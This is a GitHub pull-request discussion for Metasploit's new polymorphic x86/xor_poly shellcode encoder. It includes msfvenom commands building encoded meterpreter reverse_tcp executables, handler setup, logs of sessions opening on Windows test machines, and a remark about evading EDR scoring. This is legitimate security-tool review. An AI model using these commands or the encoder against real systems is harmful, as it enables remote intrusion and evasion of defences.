Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean #17401

araout42 · 2022-12-20T15:21:55Z

Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean

it has 100% polymorphism, all the bytes changes from a generation to another

probably should be ranked as excellent since it has many many permutations for badchars

Verification

List the steps needed to make sure this thing works

Start msfconsole
use exploit/multi/handler
set lhost 127.0.0.1
set payload linux/x86/meterpreter/reverse_tcp
exploit expected : Started listener ...
Run ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.01 LPORT=4444 -f elf -e x86/xor_poly -b "\x00\x90" > /tmp/Test && chmod +x /tmp/Test
/tmp/test expected Connect to listener and give meterpreter session as in the video

2022-12-20.16-13-46.mov

…p clean, msftidy clean, No documentation written

Remove outdated comments

…isters, change name to xor_poly.rb

…l regs to preserve them

gwillcox-r7 · 2023-01-04T17:17:11Z

Updated PR description to make things easier to read.

sempervictus · 2023-01-12T16:12:17Z

This is neat stuff, thank you. Any chance of an x64 version for parity (and utility, not a lot of x86 targets around anymore and WOW64 tends to "count toward badness score" by EDR from what i've seen)? 😄

araout42 · 2023-01-12T16:34:08Z

Hey @sempervictus i'm really glad you appreciate it !
Yes I can make a x64 version with no problem,
I think exactly the same code would work for x64
I'm not sure though as I haven't done testing about this
I will test/dev for an x64 when my work give me a little bit of time
Thanks

araout42 · 2023-01-13T20:34:55Z

After some testing, the same code cannot be used for x64, since it need a little bit of tweaking with instructions size and the register permutations.
I will do a separate almost identical code for x64 version that i will most likely commit in another pr since it will be another modules

sempervictus · 2023-01-14T12:45:00Z

@araout42 - thank you sir, encoders are long-lived tools in the satchel so the more working ones we have, the merrier.

bwatters-r7 · 2023-03-01T15:50:04Z

Hi there, @araout42; this looks great.
There's at least one super minor thing I'd like to ask you to change, but the first thing I want to do is get this working, and I cannot seem to be able to do it.

In your verification steps, you invoke this with -e x86/xor which fails for me as an invalid encoder. I'm guessing you changed the name at some point to x86/xor_poly, which I completely agree with to help differentiate it, so when I invoke it with x86/xor_poly, it does seem to use the right encoder, but still fails to find the right nop permutation, I believe:

[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -e x86/xor_poly -b "\x00\x90\x58\x59"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/xor_poly
x86/xor_poly failed with Encoding failed due to a bad character (index=44, char=0x58)
Error: No Encoder Succeeded
[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -e x86/xor_poly -i 20 -b "\x00\x90\x58\x59"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/xor_poly
x86/xor_poly failed with Encoding failed due to a bad character (index=47, char=0x58)
Error: No Encoder Succeeded
[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f elf -e x86/xor_poly -i 200 -b "\x00\x90\x58\x59"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 200 iterations of x86/xor_poly
x86/xor_poly failed with Encoding failed due to a bad character (index=49, char=0x59)
Error: No Encoder Succeeded
[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ md5sum modules/encoders/x86/xor_poly.rb 
1caea537f769f4471259e21192b8039a  modules/encoders/x86/xor_poly.rb

Please let me know if I'm missing something?

araout42 · 2023-03-01T16:48:09Z

First, You are right, i did change the name from xor to xor_poly after a recomendation i recieved (I edited my first message now to reflect this change in the verification step )

The second is that it cannot find a proper permutation without badchar 0x58 ; 0x59
the reason to that is because i added the preserve register functionnality afterward and it require the opcodes 0x58 0x59

pop eax -> 0x58

the error message is given by the encoder and says that no permutation has been found with this badchar set

so it is working properly

But I can implement another polymorphism routine to be able to handle these badchars aswell ^^

As of now i also changed my first message using only the opcodes 0x00 ; 0x90 so the encoding can be done properly

bwatters-r7 · 2023-03-01T17:02:37Z

Sweet; thanks, @araout42. I appreciate the quick answer! If I can't get it to work in the example and default setting, I usually assume there's a setup step or something else that I've missed. In this case, given the changing feature set, it makes sense the old example ~~did not work~~ worked properly in an unanticipated way.

araout42 · 2023-03-01T17:05:54Z

Sweet; thanks, @araout42. I appreciate the quick answer! If I can't get it to work in the example and default setting, I usually assume there's a setup step or something else that I've missed. In this case, given the changing feature set, it makes sense the old example ~~did not work~~ worked properly in an unanticipated way.

No problem and thank you

Well i'd be happy to implement this minor change you'v mentionned earlyer :)

bwatters-r7 · 2023-03-01T17:29:39Z

It was a minor thing I noticed, but I wanted to get everything working and do a deeper dive to make sure that there was nothing else I saw. I don't want to keep asking you to change things, so I'll try and get all the requested changes to you all at once. We appreciate your time and don't want to waste it!

bwatters-r7 · 2023-03-01T19:49:28Z

Creating payload

[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.5.135.201 LPORT=4585 -f exe -e x86/xor_poly -i 20 -b "\x00\x90" -o revtcpx86_xor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/xor_poly
x86/xor_poly succeeded with size 403 (iteration=0)
x86/xor_poly succeeded with size 453 (iteration=1)
x86/xor_poly succeeded with size 505 (iteration=2)
x86/xor_poly succeeded with size 557 (iteration=3)
x86/xor_poly succeeded with size 609 (iteration=4)
x86/xor_poly succeeded with size 659 (iteration=5)
x86/xor_poly succeeded with size 709 (iteration=6)
x86/xor_poly succeeded with size 759 (iteration=7)
x86/xor_poly succeeded with size 808 (iteration=8)
x86/xor_poly succeeded with size 856 (iteration=9)
x86/xor_poly succeeded with size 904 (iteration=10)
x86/xor_poly succeeded with size 953 (iteration=11)
x86/xor_poly succeeded with size 1003 (iteration=12)
x86/xor_poly succeeded with size 1054 (iteration=13)
x86/xor_poly succeeded with size 1105 (iteration=14)
x86/xor_poly succeeded with size 1156 (iteration=15)
x86/xor_poly succeeded with size 1203 (iteration=16)
x86/xor_poly succeeded with size 1251 (iteration=17)
x86/xor_poly succeeded with size 1301 (iteration=18)
x86/xor_poly succeeded with size 1353 (iteration=19)
x86/xor_poly chosen with final size 1353
Payload size: 1353 bytes
Final size of exe file: 73802 bytes
Saved as: revtcpx86_xor.exe

Getting callback

msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 exploit(multi/handler) > set lport 4585
lport => 4585
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.5.135.201:4585 
[*] Sending stage (175686 bytes) to 10.5.134.191
[*] Meterpreter session 1 opened (10.5.135.201:4585 -> 10.5.134.191:50164) at 2023-03-01 13:47:44 -0600

meterpreter > sysinfo
Computer        : WIN10X86-1511
OS              : Windows 10 (10.0 Build 10586).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter > exit
[*] Shutting down Meterpreter...

bwatters-r7 · 2023-03-01T20:21:17Z

Quick and dirty testing....

The raw unencoded payload has nulls and nops

The encoded version also has nulls and nops

Encoded version with bad chars flagged does not contain the bad chars

bwatters-r7

So it turns out the minor thing I was going to have you fix was actually right, and I just misread it. Another reason to make sure I get it working before I suggest a fix 😆.
The only thing I see is this minor typo.

modules/encoders/x86/xor_poly.rb

araout42 · 2023-03-01T21:36:18Z

Thank you, well it seems perfect
I will read all the code tomorrow or the day after
And I also have few other modification to do in the comments, I am not sure if we keep the comments in the code

bwatters-r7 · 2023-03-01T22:13:32Z

I would definitely leave the comments, especially with something this complex.

Co-authored-by: Brendan <bwatters@rapid7.com>

…framework into New_x86_xor_encoder

araout42 · 2023-03-02T15:23:43Z

Well I've reread everything, and made slight changes with the comments.
So everything is Ok on my side

…_xor_encoder

bwatters-r7 · 2023-03-20T22:47:37Z

Create payload

[ruby-3.0.2](land-17401) tmoose@ubuntu:~/rapid7/metasploit-framework$ ./msfvenom ./msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.5.135.201 LPORT=4585 -f exe -e x86/xor_poly -b "\x00\x90" -i 20 -o revtcpx86_xor.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 20 iterations of x86/xor_poly
x86/xor_poly succeeded with size 405 (iteration=0)
x86/xor_poly succeeded with size 458 (iteration=1)
x86/xor_poly succeeded with size 509 (iteration=2)
x86/xor_poly succeeded with size 561 (iteration=3)
x86/xor_poly succeeded with size 612 (iteration=4)
x86/xor_poly succeeded with size 661 (iteration=5)
x86/xor_poly succeeded with size 711 (iteration=6)
x86/xor_poly succeeded with size 759 (iteration=7)
x86/xor_poly succeeded with size 809 (iteration=8)
x86/xor_poly succeeded with size 860 (iteration=9)
x86/xor_poly succeeded with size 907 (iteration=10)
x86/xor_poly succeeded with size 955 (iteration=11)
x86/xor_poly succeeded with size 1005 (iteration=12)
x86/xor_poly succeeded with size 1057 (iteration=13)
x86/xor_poly succeeded with size 1108 (iteration=14)
x86/xor_poly succeeded with size 1156 (iteration=15)
x86/xor_poly succeeded with size 1204 (iteration=16)
x86/xor_poly succeeded with size 1253 (iteration=17)
x86/xor_poly succeeded with size 1303 (iteration=18)
x86/xor_poly succeeded with size 1352 (iteration=19)
x86/xor_poly chosen with final size 1352
Payload size: 1352 bytes
Final size of exe file: 73802 bytes
Saved as: revtcpx86_xor.exe

Collect Shell:

msf6 exploit(multi/handler) > use payload/windows/meterpreter/reverse_tcp
msf6 payload(windows/meterpreter/reverse_tcp) > set lhost 10.5.135.201
lhost => 10.5.135.201
msf6 payload(windows/meterpreter/reverse_tcp) > set lport 4585
lport => 4585
msf6 payload(windows/meterpreter/reverse_tcp) > to_handler
[*] Payload Handler Started as Job 0

msf6 payload(windows/meterpreter/reverse_tcp) > [*] Started reverse TCP handler on 10.5.135.201:4585 
[*] Sending stage (175686 bytes) to 10.5.134.199
[*] Meterpreter session 1 opened (10.5.135.201:4585 -> 10.5.134.199:49875) at 2023-03-20 17:43:51 -0500

msf6 payload(windows/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > sysinfo
Computer        : WIN10X86_1803
OS              : Windows 10 (10.0 Build 17134).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows

bwatters-r7 · 2023-03-21T11:16:57Z

Release Notes

This PR adds a new x86 XOR polymorphic encoder.

Arthur RAOUT and others added 10 commits December 20, 2022 15:54

Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Ruboco…

45d0eb8

…p clean, msftidy clean, No documentation written

Update xor.rb

0a53cab

Remove outdated comments

Merge branch 'rapid7:master' into New_x86_xor_encoder

dcec717

Merge branch 'rapid7:master' into New_x86_xor_encoder

7cd68e8

Added preserver register through random order push and pop of the reg…

bdf5f8f

…isters, change name to xor_poly.rb

Fixed 3 offense rubocop/msftidy

0a99e2b

Fixed shuffling of registers with generate preserve reg function

93f579b

Fix offset from entrypoint

7494318

Remove useless loop that select reg1, because we now have push/pop al…

676fda7

…l regs to preserve them

Remove useless loop that select reg1, because we now have push/pop al…

d83c2c3

…l regs to preserve them

araout42 changed the title ~~Add encoder module x86/xor at path modules/encoder/x86/xor.rb, Rubocop clean, msftidy clean~~ Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean Jan 4, 2023

bcoles added the payload label Jan 14, 2023

bwatters-r7 self-assigned this Feb 28, 2023

bwatters-r7 reviewed Mar 1, 2023

View reviewed changes

modules/encoders/x86/xor_poly.rb Outdated Show resolved Hide resolved

araout42 and others added 2 commits March 2, 2023 11:50

Fix typo in the comments line 41

83bcd1c

Co-authored-by: Brendan <bwatters@rapid7.com>

Merge branch 'upstream-master' into New_x86_xor_encoder

6a81e0f

Arthur RAOUT added 4 commits March 2, 2023 12:30

slight changes in the comments

1461f9f

no test.rb

dd7e832

Merge branch 'New_x86_xor_encoder' of github.com:araout42/metasploit-…

e178226

…framework into New_x86_xor_encoder

fixed 2 rubocop offenses

7b73772

Arthur RAOUT added 2 commits March 8, 2023 13:41

Revert accidental changes Merge branch 'upstream-master' into New_x86…

889aff9

…_xor_encoder

Finally reverted bad changes

75002f1

araout42 force-pushed the New_x86_xor_encoder branch from db298be to 75002f1 Compare March 8, 2023 12:45

bwatters-r7 merged commit 3b73adf into rapid7:master Mar 20, 2023

jheysel-r7 added the rn-enhancement release notes enhancement label Mar 24, 2023

adfoster-r7 added rn-modules release notes for new or majorly enhanced modules and removed rn-enhancement release notes enhancement labels Apr 5, 2023

This pull request was closed.

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean #17401

Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean #17401

araout42 commented Dec 20, 2022 •

edited by bwatters-r7

Loading

gwillcox-r7 commented Jan 4, 2023

sempervictus commented Jan 12, 2023

araout42 commented Jan 12, 2023 •

edited

Loading

araout42 commented Jan 13, 2023 •

edited

Loading

sempervictus commented Jan 14, 2023

bwatters-r7 commented Mar 1, 2023

araout42 commented Mar 1, 2023 •

edited

Loading

bwatters-r7 commented Mar 1, 2023 •

edited

Loading

araout42 commented Mar 1, 2023

bwatters-r7 commented Mar 1, 2023

bwatters-r7 commented Mar 1, 2023

bwatters-r7 commented Mar 1, 2023

bwatters-r7 left a comment

araout42 commented Mar 1, 2023 •

edited

Loading

bwatters-r7 commented Mar 1, 2023

araout42 commented Mar 2, 2023 •

edited

Loading

bwatters-r7 commented Mar 20, 2023

bwatters-r7 commented Mar 21, 2023

Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean #17401

Add encoder module x86/xor_poly at path modules/encoder/x86/xor_poly.rb, Rubocop clean, msftidy clean #17401

Conversation

araout42 commented Dec 20, 2022 • edited by bwatters-r7 Loading

Verification

gwillcox-r7 commented Jan 4, 2023

sempervictus commented Jan 12, 2023

araout42 commented Jan 12, 2023 • edited Loading

araout42 commented Jan 13, 2023 • edited Loading

sempervictus commented Jan 14, 2023

bwatters-r7 commented Mar 1, 2023

araout42 commented Mar 1, 2023 • edited Loading

bwatters-r7 commented Mar 1, 2023 • edited Loading

araout42 commented Mar 1, 2023

bwatters-r7 commented Mar 1, 2023

bwatters-r7 commented Mar 1, 2023

Creating payload

Getting callback

bwatters-r7 commented Mar 1, 2023

The raw unencoded payload has nulls and nops

The encoded version also has nulls and nops

Encoded version with bad chars flagged does not contain the bad chars

bwatters-r7 left a comment

Choose a reason for hiding this comment

araout42 commented Mar 1, 2023 • edited Loading

bwatters-r7 commented Mar 1, 2023

araout42 commented Mar 2, 2023 • edited Loading

bwatters-r7 commented Mar 20, 2023

bwatters-r7 commented Mar 21, 2023

Release Notes

araout42 commented Dec 20, 2022 •

edited by bwatters-r7

Loading

araout42 commented Jan 12, 2023 •

edited

Loading

araout42 commented Jan 13, 2023 •

edited

Loading

araout42 commented Mar 1, 2023 •

edited

Loading

bwatters-r7 commented Mar 1, 2023 •

edited

Loading

araout42 commented Mar 1, 2023 •

edited

Loading

araout42 commented Mar 2, 2023 •

edited

Loading